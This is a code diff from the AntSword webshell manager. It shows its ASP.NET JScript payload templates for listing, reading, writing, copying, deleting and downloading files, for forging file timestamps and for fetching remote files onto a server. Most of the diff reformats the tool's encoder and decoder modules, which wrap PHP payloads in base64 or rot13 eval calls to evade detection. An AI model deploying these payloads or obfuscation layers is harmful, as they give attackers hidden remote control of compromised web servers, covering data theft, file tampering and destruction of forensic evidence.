_: _: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\\t"+T(P)+"\\t0\\t"+(s[i].Attributes)+"\\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\\t"+T(P)+"\\t"+s[i].Length+"\\t"+(s[i].Attributes)+"\\n");}`,
`var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\\t"+T(P)+"\\t0\\t"+(s[i].Attributes)+"\\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\\t"+T(P)+"\\t"+s[i].Length+"\\t"+(s[i].Attributes)+"\\n");}`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
delete: { delete: {
_: _: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");`,
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
create_file: { create_file: {
_: _: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])));m.Close();Response.Write("1");`,
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])));m.Close();Response.Write("1");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::content}" [arg2]: "#{base64::content}"
}, },
read_file: { read_file: {
_: _: `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();`,
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
copy: { copy: {
_: _: `var S=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\\\"+f[i].Name,D+"\\\\"+f[i].Name);for (i in d)cp(S+"\\\\"+d[i].Name,D+"\\\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");`,
`var S=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\\\"+f[i].Name,D+"\\\\"+f[i].Name);for (i in d)cp(S+"\\\\"+d[i].Name,D+"\\\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::target}" [arg2]: "#{base64::target}"
}, },
download_file: { download_file: {
_: _: `Response.WriteFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));`,
`Response.WriteFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
upload_file: { upload_file: {
_: _:
// `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`, // `var
// 修改写入模式Create->Append // P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C
// onvert.FromBase64String(Request.Item["${arg1}"]));var
// Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var
// i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var
// fs:System.IO.FileStream=new
// System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl
// ose();Response.Write("1");`, 修改写入模式Create->Append
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`, `var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{buffer::content}" [arg2]: "#{buffer::content}"
}, },
rename: { rename: {
_: _: `var src=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])),dst=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");`,
`var src=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])),dst=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::name}" [arg2]: "#{base64::name}"
}, },
retime: { retime: {
_: _: `var DD=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])),TM=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");`,
`var DD=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])),TM=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::time}" [arg2]: "#{base64::time}"
}, },
mkdir: { mkdir: {
_: _: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));System.IO.Directory.CreateDirectory(D);Response.Write("1");`,
`var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));System.IO.Directory.CreateDirectory(D);Response.Write("1");`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
wget: { wget: {
_: _: `var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),2);S.close;S=null;X=null;Response.Write("1");`,
`var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),2);S.close;S=null;X=null;Response.Write("1");`,
[arg1]: "#{base64::url}", [arg1]: "#{base64::url}",
[arg2]: "#{base64::path}" [arg2]: "#{base64::path}"
} }
......
...@@ -44,21 +44,25 @@ class Base { ...@@ -44,21 +44,25 @@ class Base {
random(pwd, data) { random(pwd, data) {
let _encoders = []; let _encoders = [];
for (let _ in this) { for (let _ in this) {
if (_ === 'random') { continue } if (_ === 'random') {
continue
}
_encoders.push(_); _encoders.push(_);
} }
let _index = parseInt(Math.random() * _encoders.length); let _index = parseInt(Math.random() * _encoders.length);
return this[ return this[_encoders[_index]](pwd, data);
_encoders[_index]
](pwd, data);
} }
} }
this['__decoder__'] = {} this['__decoder__'] = {}
// 解析自定义编码器 // 解析自定义编码器
this.user_encoders.map((_) => { this
.user_encoders
.map((_) => {
this.parseEncoder(`${_}`); this.parseEncoder(`${_}`);
}); });
this.user_decoders.map((_) => { this
.user_decoders
.map((_) => {
this.parseDecoder(`${_}`); this.parseDecoder(`${_}`);
}); });
} }
...@@ -69,14 +73,12 @@ class Base { ...@@ -69,14 +73,12 @@ class Base {
*/ */
rsaEncrypt() { rsaEncrypt() {
let key = new NodeRSA(); let key = new NodeRSA();
try{ try {
let priKey = fs.readFileSync(path.join(remote.process.env.AS_WORKDIR, `antData/key_rsa`)); let priKey = fs.readFileSync(path.join(remote.process.env.AS_WORKDIR, `antData/key_rsa`));
if(priKey.length > 0){ if (priKey.length > 0) {
key.importKey(priKey.toString(), 'private'); key.importKey(priKey.toString(), 'private');
} }
}catch(e) { } catch (e) {}
}
return key; return key;
} }
...@@ -86,11 +88,17 @@ class Base { ...@@ -86,11 +88,17 @@ class Base {
*/ */
argv() { argv() {
// 生成一个随机的变量名 // 生成一个随机的变量名
let random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`; let random = () => `0x${ (Math.random() + Math.random())
.toString(16)
.substr(2)}`;
// 返回六个随机变量名数组 // 返回六个随机变量名数组
return [ return [
random(), random(), random(), random(),
random(), random(), random() random(),
random(),
random(),
random(),
random()
]; ];
} }
...@@ -108,9 +116,7 @@ class Base { ...@@ -108,9 +116,7 @@ class Base {
* @return {String} 编码后的字符串 * @return {String} 编码后的字符串
*/ */
base64(str) { base64(str) {
return Buffer.from( return Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
iconv.encode(Buffer.from(str), encode)
).toString('base64');
}, },
/** /**
* 字符串转16进制(不进行编码转换 * 字符串转16进制(不进行编码转换
...@@ -118,7 +124,10 @@ class Base { ...@@ -118,7 +124,10 @@ class Base {
* @return {Buffer} 转换完成的buffer * @return {Buffer} 转换完成的buffer
*/ */
buffer(str) { buffer(str) {
return Buffer.from(str).toString('hex').toUpperCase(); return Buffer
.from(str)
.toString('hex')
.toUpperCase();
}, },
/** /**
* 字符串转16进制(进行编码转换 * 字符串转16进制(进行编码转换
...@@ -126,9 +135,9 @@ class Base { ...@@ -126,9 +135,9 @@ class Base {
* @return {Buffer} 转换完成的buffer * @return {Buffer} 转换完成的buffer
*/ */
hex(str) { hex(str) {
return Buffer.from( return Buffer.from(iconv.encode(Buffer.from(str), encode))
iconv.encode(Buffer.from(str), encode) .toString('hex')
).toString('hex').toUpperCase(); .toUpperCase();
} }
} }
} }
...@@ -144,17 +153,15 @@ class Base { ...@@ -144,17 +153,15 @@ class Base {
this[templateName] = {}; this[templateName] = {};
// 加载模板 // 加载模板
let _argv = this.argv(); let _argv = this.argv();
let templateObj = require(`${tpl}`)( let templateObj = require(`${tpl}`)(_argv[0], _argv[1], _argv[2], _argv[3], _argv[4], _argv[5]);
_argv[0], _argv[1], _argv[2],
_argv[3], _argv[4], _argv[5]
);
// let formatter = new this.format(this.__opts__['encode']); // let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']); let formatter = Base
.prototype
.format(this.__opts__['encode']);
// 解析模板 // 解析模板
for (let funcName in templateObj) { for (let funcName in templateObj) {
this[templateName][funcName] = ( this[templateName][funcName] = ((args) => {
(args) => { if (typeof(args) === 'object') {
if (typeof (args) === 'object') {
// 如果脚本函数需要参数,则进行解析 // 如果脚本函数需要参数,则进行解析
return (argv) => { return (argv) => {
let data = {}; let data = {};
...@@ -169,11 +176,9 @@ class Base { ...@@ -169,11 +176,9 @@ class Base {
(tag) => { (tag) => {
let tagStr = tag.substr(2, tag.length - 3); let tagStr = tag.substr(2, tag.length - 3);
let tagArr = tagStr.split('::'); let tagArr = tagStr.split('::');
let func, retStr; let func,
if ( retStr;
(tagArr.length > 0) && if ((tagArr.length > 0) && (func = formatter[tagArr[0]])) {
(func = formatter[tagArr[0]])
) {
// 如果包含有分割标签且该格式化函数存在,则调用该函数进行处理 // 如果包含有分割标签且该格式化函数存在,则调用该函数进行处理
retStr = func(argv[tagArr[1] || '']); retStr = func(argv[tagArr[1] || '']);
} else { } else {
...@@ -182,18 +187,16 @@ class Base { ...@@ -182,18 +187,16 @@ class Base {
} }
// 组合最终生成模板代码 // 组合最终生成模板代码
data[arg] = data[arg].replace(tag, retStr); data[arg] = data[arg].replace(tag, retStr);
} })
)
} }
// 发送HTTP请求 // 发送HTTP请求
return data; return data;
} }
} else { } else {
// 否则直接返回 // 否则直接返回
return () => ({ _: args }); return () => ({_: args});
}
} }
)(templateObj[funcName]); })(templateObj[funcName]);
} }
} }
...@@ -208,12 +211,16 @@ class Base { ...@@ -208,12 +211,16 @@ class Base {
// https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870 // https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870
delete require.cache[require.resolve(`${enc}`)]; delete require.cache[require.resolve(`${enc}`)];
// QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~ // QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~
this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1] : enc.split(`encoder\\`)[1]] = require(`${enc}`); this['__encoder__'][enc.indexOf(`encoder/`) > -1
? enc.split(`encoder/`)[1]
: enc.split(`encoder\\`)[1]] = require(`${enc}`);
} }
parseDecoder(dec) { parseDecoder(dec) {
delete require.cache[require.resolve(`${dec}`)]; delete require.cache[require.resolve(`${dec}`)];
this['__decoder__'][dec.indexOf(`decoder/`) > -1 ? dec.split(`decoder/`)[1] : dec.split(`decoder\\`)[1]] = require(`${dec}`); this['__decoder__'][dec.indexOf(`decoder/`) > -1
? dec.split(`decoder/`)[1]
: dec.split(`decoder\\`)[1]] = require(`${dec}`);
} }
/** /**
...@@ -229,16 +236,8 @@ class Base { ...@@ -229,16 +236,8 @@ class Base {
rsa: this.rsaEncrypt() rsa: this.rsaEncrypt()
} }
// 编码器处理 // 编码器处理
let finalData = this.__encoder__[this.__opts__['encoder']]( let finalData = this.__encoder__[this.__opts__['encoder']](this.__opts__['pwd'], data, ext);
this.__opts__['pwd'], return {'tag_s': tag_s, 'tag_e': tag_e, 'data': finalData};
data,
ext
);
return {
'tag_s': tag_s,
'tag_e': tag_e,
'data': finalData
};
} }
/** /**
...@@ -256,24 +255,34 @@ class Base { ...@@ -256,24 +255,34 @@ class Base {
} }
return new Promise((res, rej) => { return new Promise((res, rej) => {
// 随机ID(用于监听数据来源) // 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); const hash = (String(+ new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
// 监听数据返回 // 监听数据返回
antSword['ipcRenderer'] antSword['ipcRenderer']
// 请求完毕返回数据{text,buff} // 请求完毕返回数据{text,buff}
.once(`request-${hash}`, (event, ret) => { .once(`request-${hash}`, (event, ret) => {
let buff = this.__decoder__[this.__opts__['decoder']||'default'].decode_buff(ret['buff'], ext); let buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['buff'], ext);
let encoding = antSword.Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); let encoding = antSword
encoding = encoding != "unknown" ? encoding : this.__opts__['encode']; .Decodes
let text = antSword.Decodes.decode(buff, encoding); .detectEncoding(buff, {defaultEncoding: "unknown"});
encoding = encoding != "unknown"
? encoding
: this.__opts__['encode'];
let text = antSword
.Decodes
.decode(buff, encoding);
return res({ return res({
'encoding': encoding || "", 'encoding': encoding || "",
'text': text, 'text': text,
'buff': buff, 'buff': buff
}); });
}) })
// HTTP请求返回字节流 // HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => { .on(`request-chunk-${hash}`, (event, ret) => {
return chunkCallBack ? chunkCallBack(this.__decoder__[this.__opts__['decoder']||'default'].decode_buff(ret)) : null; return chunkCallBack
? chunkCallBack(this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret))
: null;
}) })
// 数据请求错误 // 数据请求错误
.once(`request-error-${hash}`, (event, ret) => { .once(`request-error-${hash}`, (event, ret) => {
...@@ -310,7 +319,9 @@ class Base { ...@@ -310,7 +319,9 @@ class Base {
const opt = this.complete(postCode, true); const opt = this.complete(postCode, true);
return new Promise((ret, rej) => { return new Promise((ret, rej) => {
// 随机ID(用于监听数据来源) // 随机ID(用于监听数据来源)
const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); const hash = (String(+ new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
// 监听数据返回 // 监听数据返回
antSword['ipcRenderer'] antSword['ipcRenderer']
// 请求完毕返回数据(size) // 请求完毕返回数据(size)
...@@ -319,7 +330,9 @@ class Base { ...@@ -319,7 +330,9 @@ class Base {
}) })
// HTTP请求返回字节流大小 // HTTP请求返回字节流大小
.on(`download-progress-${hash}`, (event, size) => { .on(`download-progress-${hash}`, (event, size) => {
return progressCallback ? progressCallback(size) : null; return progressCallback
? progressCallback(size)
: null;
}) })
// 数据请求错误 // 数据请求错误
.once(`download-error-${hash}`, (event, ret) => { .once(`download-error-${hash}`, (event, ret) => {
......
...@@ -19,7 +19,7 @@ module.exports = { ...@@ -19,7 +19,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer * @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer * @returns {string} 解码后的 Buffer
*/ */
decode_buff: (data, ext={}) => { decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'base64'); return Buffer.from(data.toString(), 'base64');
} }
} }
\ No newline at end of file
...@@ -19,7 +19,7 @@ module.exports = { ...@@ -19,7 +19,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer * @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer * @returns {string} 解码后的 Buffer
*/ */
decode_buff: (data, ext={}) => { decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'hex'); return Buffer.from(data.toString(), 'hex');
} }
} }
\ No newline at end of file
...@@ -20,7 +20,7 @@ module.exports = { ...@@ -20,7 +20,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer * @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer * @returns {string} 解码后的 Buffer
*/ */
decode_buff: (data, ext={}) => { decode_buff: (data, ext = {}) => {
return Buffer.from(Buffer.from(data.toString(), 'hex').toString(), 'base64'); return Buffer.from(Buffer.from(data.toString(), 'hex').toString(), 'base64');
} }
} }
\ No newline at end of file
...@@ -9,8 +9,12 @@ ...@@ -9,8 +9,12 @@
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let ret = {}; let ret = {};
for (let _ in data) { for (let _ in data) {
if (_ === '_') { continue }; if (_ === '_') {
ret[_] = Buffer.from(data[_]).toString('base64'); continue
};
ret[_] = Buffer
.from(data[_])
.toString('base64');
} }
ret[pwd] = data['_']; ret[pwd] = data['_'];
return ret; return ret;
......
...@@ -7,8 +7,12 @@ ...@@ -7,8 +7,12 @@
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let ret = {}; let ret = {};
for (let _ in data) { for (let _ in data) {
if (_ === '_') { continue }; if (_ === '_') {
ret[_] = Buffer.from(data[_]).toString('hex'); continue
};
ret[_] = Buffer
.from(data[_])
.toString('hex');
} }
ret[pwd] = data['_']; ret[pwd] = data['_'];
return ret; return ret;
......
...@@ -14,16 +14,24 @@ class CUSTOM extends Base { ...@@ -14,16 +14,24 @@ class CUSTOM extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'database/sqlserver', 'database/mysql', 'database/oracle' 'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => { ].map((_) => {
this.parseTemplate(`./custom/template/${_}`); this.parseTemplate(`./custom/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
.encoders
.map((_) => {
this.parseEncoder(`./custom/encoder/${_}`); this.parseEncoder(`./custom/encoder/${_}`);
}); });
this.decoders.map((_) => { this
.decoders
.map((_) => {
this.parseDecoder(`./custom/decoder/${_}`); this.parseDecoder(`./custom/decoder/${_}`);
}); });
} }
...@@ -33,7 +41,7 @@ class CUSTOM extends Base { ...@@ -33,7 +41,7 @@ class CUSTOM extends Base {
* @return {array} 编码器列表 * @return {array} 编码器列表
*/ */
get encoders() { get encoders() {
return ['base64','hex']; return ['base64', 'hex'];
} }
get decoders() { get decoders() {
...@@ -45,7 +53,7 @@ class CUSTOM extends Base { ...@@ -45,7 +53,7 @@ class CUSTOM extends Base {
* @param {Object} data 通过模板解析后的代码对象 * @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = '->|'; let tag_s = '->|';
let tag_e = '|<-'; let tag_e = '|<-';
......
...@@ -10,6 +10,6 @@ module.exports = () => ({ ...@@ -10,6 +10,6 @@ module.exports = () => ({
}, },
listcmd: { listcmd: {
_: 'Y', _: 'Y',
'z1': '#{binarr}', 'z1': '#{binarr}'
} }
}) })
...@@ -7,9 +7,13 @@ ...@@ -7,9 +7,13 @@
const rot13encode = (s) => { const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z //use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
//Get the character code of the current character and add 13 to it // Get the character code of the current character and add 13 to it If it is
//If it is larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26); return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
}); });
}; };
......
...@@ -7,8 +7,13 @@ ...@@ -7,8 +7,13 @@
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
data[randomID] = Buffer.from(data['_']).toString('base64'); .random()
.toString(16)
.substr(2)}`;
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`; data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
......
...@@ -3,21 +3,27 @@ ...@@ -3,21 +3,27 @@
* ? 利用php的 rot13 进行编码处理 * ? 利用php的 rot13 进行编码处理
*/ */
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
const encode = (s) => { const encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z //use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
//Get the character code of the current character and add 13 to it // Get the character code of the current character and add 13 to it If it is
//If it is larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26); return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
}); });
} }
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
.random()
.toString(16)
.substr(2)}`;
data[randomID] = encode(data['_']); data[randomID] = encode(data['_']);
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`; data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
......
...@@ -14,7 +14,9 @@ class PHP extends Base { ...@@ -14,7 +14,9 @@ class PHP extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'command',
'filemanager',
'database/mysql', 'database/mysql',
'database/mysqli', 'database/mysqli',
'database/mssql', 'database/mssql',
...@@ -28,10 +30,14 @@ class PHP extends Base { ...@@ -28,10 +30,14 @@ class PHP extends Base {
this.parseTemplate(`./php/template/${_}`); this.parseTemplate(`./php/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
.encoders
.map((_) => {
this.parseEncoder(`./php/encoder/${_}`); this.parseEncoder(`./php/encoder/${_}`);
}); });
this.decoders.map((_) => { this
.decoders
.map((_) => {
this.parseDecoder(`./php/decoder/${_}`); this.parseDecoder(`./php/decoder/${_}`);
}); });
} }
...@@ -54,16 +60,24 @@ class PHP extends Base { ...@@ -54,16 +60,24 @@ class PHP extends Base {
* @param {bool} force_default 强制使用 default 解码 * @param {bool} force_default 强制使用 default 解码
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // "->|"; let tag_s = Math
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-"; .random()
.toString(16)
.substr(2, 5); // "->|";
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // "|<-";
let asencCode; let asencCode;
if(!force_default){ if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(); asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput();
}else{ } else {
asencCode = this.__decoder__['default'].asoutput(); asencCode = this
.__decoder__['default']
.asoutput();
} }
// 组合完整的代码 // 组合完整的代码
